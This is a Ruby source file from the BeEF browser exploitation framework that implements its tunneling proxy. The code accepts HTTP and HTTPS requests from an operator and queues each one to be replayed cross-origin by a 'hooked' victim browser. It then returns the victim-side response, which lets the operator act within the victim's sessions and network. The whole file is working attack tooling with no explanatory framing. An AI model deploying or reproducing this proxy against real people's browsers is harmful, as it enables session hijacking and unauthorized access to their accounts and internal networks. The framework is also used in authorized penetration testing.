require 'openssl'
module BeEF
module Extension
module Proxy
class Proxy
HB = BeEF::Core::Models::HookedBrowser
H = BeEF::Core::Models::Http
@response = nil
def initialize
@conf = BeEF::Core::Configuration.instance
@proxy_server = TCPServer.new(@conf.get('beef.extension.proxy.address'), @conf.get('beef.extension.proxy.port'))
ssl_context = OpenSSL::SSL::SSLContext.new
begin
cert_file = @conf.get('beef.extension.proxy.cert')
cert = File.read(cert_file)
ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
rescue StandardError
print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
end
begin
key_file = @conf.get('beef.extension.proxy.key')
key = File.read(key_file)
ssl_context.key = OpenSSL::PKey::RSA.new(key)
rescue StandardError
print_error "[Proxy] Could not load SSL key '#{key_file}'"
end
ssl_server = OpenSSL::SSL::SSLServer.new(@proxy_server, ssl_context)
ssl_server.start_immediately = false
loop do
ssl_socket = ssl_server.accept
Thread.new ssl_socket, &method(:handle_request)
end
end
def handle_request(socket)
request_line = socket.readline
method = request_line[/^\w+/]
url_prefix = ''
if method == 'CONNECT'
host_port = request_line.split[1]
proto = 'https'
url_prefix = "#{proto}://#{host_port}"
loop do
line = socket.readline
break if line.strip.empty?
end
socket.puts("HTTP/1.0 200 Connection established\r\n\r\n")
socket.accept
print_debug("[PROXY] Handled CONNECT to #{host_port}")
request_line = socket.readline
end
method, _path, version = request_line.split
proto = 'http' unless proto.eql?('https')
version = 'HTTP/1.0' if version !~ %r{\AHTTP/\d\.\d\z}
path = request_line[/^\w+\s+(\S+)/, 1]
url = url_prefix + path
tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars'))
uri = tolerant_parser.parse(url.to_s)
uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}"
raw_request = "#{[method, uri_path_and_qs, version].join(' ')}\r\n"
content_length = 0
loop do
line = socket.readline
content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\s+(\d+)\s*$/
if line.strip.empty?
raw_request += "\r\n#{socket.read(content_length)}" if content_length >= 0
break
else
raw_request += line
end
end
http = H.new(
request: raw_request,
method: method,
proto: proto,
domain: uri.host,
port: uri.port,
path: uri_path_and_qs,
request_date: Time.now,
hooked_browser_id: get_tunneling_proxy,
allow_cross_origin: 'true'
)
http.save
print_debug(
"[PROXY] --> Forwarding request ##{http.id}: " \
"domain[#{http.domain}:#{http.port}], " \
"method[#{http.method}], " \
"path[#{http.path}], " \
"cross origin[#{http.allow_cross_origin}]"
)
sleep 0.5 while H.find(http.id).has_ran != 'complete'
@response = H.find(http.id)
print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed"
response_body = @response['response_data']
response_status = @response['response_status_code']
headers = @response['response_headers']
response_headers = ''
if response_status != -1 && response_status != 0
ignore_headers = %w[
Content-Encoding
Keep-Alive
Cache-Control
Vary
Pragma
Connection
Expires
Accept-Ranges
Transfer-Encoding
Date
]
headers.each_line do |line|
header_key = line.split(': ')[0]
header_value = line.split(': ')[1]
next if header_key.nil?
next if ignore_headers.any? { |h| h.casecmp(header_key).zero? }
next if header_value.nil?
unless header_key == 'Content-Length'
response_headers += line
next
end
response_headers += "Content-Length: #{response_body.size}\r\n"
end
end
res = "#{version} #{response_status}\r\n#{response_headers}\r\n#{response_body}"
socket.write(res)
socket.close
end
def get_tunneling_proxy
proxy_browser = HB.where(is_proxy: true).first
return proxy_browser.session.to_s unless proxy_browser.nil?
hooked_browser = HB.first
unless hooked_browser.nil?
print_debug "[Proxy] Proxy browser not set. Defaulting to first hooked browser [id: #{hooked_browser.session}]"
return hooked_browser.session
end
print_error '[Proxy] No hooked browsers'
nil
end
end
end
end
end